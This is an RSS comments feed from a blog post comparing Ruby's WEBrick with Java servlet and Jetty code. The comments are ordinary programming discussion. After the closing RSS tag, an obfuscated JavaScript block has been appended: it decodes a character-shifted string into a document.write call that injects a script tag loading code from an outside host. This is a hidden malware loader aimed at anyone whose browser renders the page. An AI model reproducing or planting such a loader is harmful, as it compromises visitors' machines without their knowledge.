<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Ruby Simplicity</title>
	<atom:link href="http://blog.secosoft.net/2005/09/15/ruby-simplicity/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Wed, 03 Dec 2008 21:58:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Mark Derricutt</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-592</link>
		<dc:creator>Mark Derricutt</dc:creator>
		<pubDate>Thu, 15 Sep 2005 20:18:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-592</guid>
		<description>Matt - I thought I'd just point out that the IO class in my code is also part of the Jetty package and not standard Java.</description>
		<content:encoded><![CDATA[<p>Matt - I thought I&#8217;d just point out that the IO class in my code is also part of the Jetty package and not standard Java.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brian McCallister</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-588</link>
		<dc:creator>Brian McCallister</dc:creator>
		<pubDate>Thu, 15 Sep 2005 14:41:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-588</guid>
		<description>Webrick is part of the standard library in 1.8.X ruby's =)</description>
		<content:encoded><![CDATA[<p>Webrick is part of the standard library in 1.8.X ruby&#8217;s =)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt Secoske</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-587</link>
		<dc:creator>Matt Secoske</dc:creator>
		<pubDate>Thu, 15 Sep 2005 13:46:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-587</guid>
		<description>Jason:  your absolutely right.  In Mark's code there is a call to IO.copy copying an IinputStream to an OutputStream, which greatly reduces the amount of code in my example too, could get rid of an entire method.  

Thats one of the great things about blogging, we can all learnsome new things.  I'm not experienced in embedding Jetty, but it is definetly something I will keep in mind if I ever need a quick server in Java again... I'm sure it will happen sooner than later.</description>
		<content:encoded><![CDATA[<p>Jason:  your absolutely right.  In Mark&#8217;s code there is a call to IO.copy copying an IinputStream to an OutputStream, which greatly reduces the amount of code in my example too, could get rid of an entire method.  </p>
<p>Thats one of the great things about blogging, we can all learnsome new things.  I&#8217;m not experienced in embedding Jetty, but it is definetly something I will keep in mind if I ever need a quick server in Java again&#8230; I&#8217;m sure it will happen sooner than later.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt Secoske</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-586</link>
		<dc:creator>Matt Secoske</dc:creator>
		<pubDate>Thu, 15 Sep 2005 13:41:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-586</guid>
		<description>Mark:  thanks for your posts... I didn't think to mention that WEBrick is not an "official" package.  It isn't, though everywhere I've used Ruby it has been there, like you mentioned.  My primary dev box is XP/Eclipse/Tomcat/MySQL, so I didn't have any extra software to install, and frankly I doubt anyone who does this for a living is without a servlet container handy.  And if I were doing Ruby constantly, I would probably have Apache + FastCGI setup and ready to go, so that evens itself out.

You do still have the extra configuration of the Web.xml file, though in my case that is usually handled by my IDE.</description>
		<content:encoded><![CDATA[<p>Mark:  thanks for your posts&#8230; I didn&#8217;t think to mention that WEBrick is not an &#8220;official&#8221; package.  It isn&#8217;t, though everywhere I&#8217;ve used Ruby it has been there, like you mentioned.  My primary dev box is XP/Eclipse/Tomcat/MySQL, so I didn&#8217;t have any extra software to install, and frankly I doubt anyone who does this for a living is without a servlet container handy.  And if I were doing Ruby constantly, I would probably have Apache + FastCGI setup and ready to go, so that evens itself out.</p>
<p>You do still have the extra configuration of the Web.xml file, though in my case that is usually handled by my IDE.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jason Bell</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-584</link>
		<dc:creator>Jason Bell</dc:creator>
		<pubDate>Thu, 15 Sep 2005 10:12:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-584</guid>
		<description>It's swings and roundabouts really.  I don't see how the comparison acutally works.  Everyone uses libraries to some degree so the code amount and savings are going to be different anyway.</description>
		<content:encoded><![CDATA[<p>It&#8217;s swings and roundabouts really.  I don&#8217;t see how the comparison acutally works.  Everyone uses libraries to some degree so the code amount and savings are going to be different anyway.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mark Derricutt</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-583</link>
		<dc:creator>Mark Derricutt</dc:creator>
		<pubDate>Thu, 15 Sep 2005 09:42:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-583</guid>
		<description>Matt, having a few issues getting the trackback working, but I posted a version using an &lt;a href="http://www.talios.com/rubys_simplicity_over_java.htm" rel="nofollow"&gt;embedded Jetty webserver&lt;/a&gt; over on my blog...</description>
		<content:encoded><![CDATA[<p>Matt, having a few issues getting the trackback working, but I posted a version using an <a href="http://www.talios.com/rubys_simplicity_over_java.htm" rel="nofollow">embedded Jetty webserver</a> over on my blog&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: m4rkusha</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-582</link>
		<dc:creator>m4rkusha</dc:creator>
		<pubDate>Thu, 15 Sep 2005 08:27:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-582</guid>
		<description>&lt;code&gt;
filenames = Dir.glob("*.{xml,XML}").sort
	
files = Array.new
for x in 0...filenames.size
  puts "Adding file: #{filenames[x]}"
  files[x] = File.read(filenames[x])
end
&lt;/code&gt;

the above can be reduced to (not tested):
&lt;code&gt;
files = Dir.glob("*.{xml,XML}").sort.collect do &#124;filename&#124;
  puts "Adding file: #{filename}"
  File.read(filename)
end
&lt;/code&gt;</description>
		<content:encoded><![CDATA[<div class="codesnip-container" >filenames = Dir.glob(&#8221;*.{xml,XML}&#8221;).sort</p>
<p>files = Array.new<br />
for x in 0&#8230;filenames.size<br />
  puts &#8220;Adding file: #{filenames[x]}&#8221;<br />
  files[x] = File.read(filenames[x])<br />
end</p></div>
<p>the above can be reduced to (not tested):</p>
<div class="codesnip-container" >files = Dir.glob(&#8221;*.{xml,XML}&#8221;).sort.collect do |filename|<br />
  puts &#8220;Adding file: #{filename}&#8221;<br />
  File.read(filename)<br />
end</div>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mark Derricutt</title>
		<link>http://blog.secosoft.net/2005/09/15/ruby-simplicity/#comment-581</link>
		<dc:creator>Mark Derricutt</dc:creator>
		<pubDate>Thu, 15 Sep 2005 08:10:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.secosoft.net/?p=58#comment-581</guid>
		<description>Lets just say you had jetty on the classpath, had a blanket 'throws Exception', and used FQN class references everywhere, how much smaller could you get the java code?

Part of me also wonders about the scenario where webrick ISN'T installed on the system, what would you need to do in order to get your ruby application web-enabled?  Configuration for Apache? IIS?

(To be honest, I'm not sure if there ever would be a scenario where webrick isn't available, I just apt-get'd ruby on my Unbuntu machine and it was there so maybe its an "official" library?)</description>
		<content:encoded><![CDATA[<p>Lets just say you had jetty on the classpath, had a blanket &#8216;throws Exception&#8217;, and used FQN class references everywhere, how much smaller could you get the java code?</p>
<p>Part of me also wonders about the scenario where webrick ISN&#8217;T installed on the system, what would you need to do in order to get your ruby application web-enabled?  Configuration for Apache? IIS?</p>
<p>(To be honest, I&#8217;m not sure if there ever would be a scenario where webrick isn&#8217;t available, I just apt-get&#8217;d ruby on my Unbuntu machine and it was there so maybe its an &#8220;official&#8221; library?)</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

